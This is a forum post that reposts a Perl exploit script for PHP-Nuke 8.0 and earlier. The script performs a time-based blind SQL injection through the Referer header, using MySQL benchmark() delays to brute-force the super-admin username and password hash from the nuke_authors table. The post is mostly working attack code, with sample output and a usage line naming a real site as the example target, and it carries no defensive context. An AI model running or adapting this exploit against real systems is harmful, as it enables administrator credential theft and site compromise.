Jump to content
Ras

0day exploit for PHP-nuke <=8.0 Final

Recommended Posts

#!/usr/bin/perl
#0day exploit for PHP-nuke <=8.0 Final
#Blind sql injection attack in INSERT syntax
#version for mysql >= 4.0.24, using 'brute force'
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#Screenshot:
#0day exploit for PHP-nuke <=8.0 Final
#Sql injection attack in INSERT syntax
#Coded by:Maciej `krasza` Kukla[krasza@gmail.com]
#
#[+]Time normal query: 2 seconds
#[+]Length user's record: 5
#[+]Length password's record: 32
#[+]Login:
#admin
#[+]Password:
#b481ab90de84a345c665f1e4ef3c2
#[+]Super admin:
#admin:b481ab90de84a345c66585e1f4cf16e4
use strict;
use warnings;
use LWP;
my $offset=4;#It is the most important variable!!
my $adres=shift or help();
my $ua = LWP::UserAgent->new;
my $zadanie = HTTP::Request->new(GET => $adres);
my
($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,
$hash,$referer,$czy_dziala,$znak);
banner();
$czas_nor=polacz("http://www.krasza.int.pl");
print "[+]Time normal query: $czas_nor seconds\n";
$dlugosc_user=ustal_dlugosc("aid",8);
print "[+]Length user's record: $dlugosc_user\n";
print "[+]Length password's record: 32\n";
print "[+]Login:\n";
$user=brute_force_aid($dlugosc_user);
print "[+]Password:\n";
$hash=brute_force_pass(32);
print "[+]Super admin:\n";
print "$user:$hash\n";
##
sub brute_force_pass{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){

$referer="http://www.krasza.int.pl'),(-1,
(SELECTIF((ASCII(SUBSTRING(`pwd`,".$i.",
1))=".$j.")
& 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
`radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
#przeskok-optymalizacja;]
if($j==57){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub brute_force_aid{
my ($dlugosc)=@_;
my ($i,$j,$referer,$wynik,$dolny_zakres);
for($i=1;$i<=$dlugosc;$i++){
for($j=48;$j<=122;$j++){

$referer="http://www.krasza.int.pl'),(-1,
(SELECTIF((ASCII(SUBSTRING(`aid`,".$i.",
1))=".$j.")
& 1,
benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE
`radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$znak=chr($j);
print "$znak";
$wynik.=$znak;
if($i<$dlugosc){
$i+=1;
$j=47;
}else{
last;
}
}
if($j==57){
$j=64;
}
if($j==90){
$j=96;
}
}
}
print "\n";
return $wynik;
}
sub ustal_dlugosc{
my ($pole,$len)=@_;
my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
$narazie_dziala_liczba=0;
$nie_dziala_liczba=65;
#for($len=1;$len<64;$len++){
while($len<=64){
if($narazie_dziala_liczba==$len ||
$nie_dziala_liczba<=$len){
return $narazie_dziala_liczba;
}

$referer="http://www.krasza.int.pl'),(-1,
(SELECTIF((LENGTH(`".$pole."`)>".
$len.")
& 1, benchmark(50000000,CHAR(0)),0) FROM
`nuke_authors` WHERE `radminsuper`=1))/*";
$czy_dziala=czy_dziala($referer);
if($czy_dziala==1){
$narazie_dziala_liczba=$len+1;
$len+=2;
}else{
$nie_dziala_liczba=$len+1;
$len-=1;
}
}
print "[-]Exploit Failed\n";
exit;
}
sub czy_dziala{
my ($refik)=@_;
my $czas_zapytania;
$czas_zapytania=polacz($refik);
if($czas_zapytania>$czas_nor+$offset){
return 1;
}else{
return 0;
}
}
sub polacz{
my ($referrer)=@_;
my ($czas,$czas_poczatek,$czas_koniec);
$zadanie->referer($referrer);
$czas_poczatek=time();
$respone=$ua->request($zadanie);
$respone->is_success or die "$adres : ",$respone->message,"\n";
$czas_koniec=time();
$czas=$czas_koniec-$czas_poczatek;
return $czas;
}
sub banner{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
}
sub help{
print "0day exploit for PHP-nuke <=8.0 Final\n";
print "Blind sql injection attack in INSERT syntax\n";
print "version mysql >= 4.0.24, using 'brute force'\n";
print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
print "Use:\n";
print "\tperl exploit.pl [url]\n";
print "\t[url]-vicitim webpage with index.php\n";
print "Example:\n";
print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
exit(0);
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...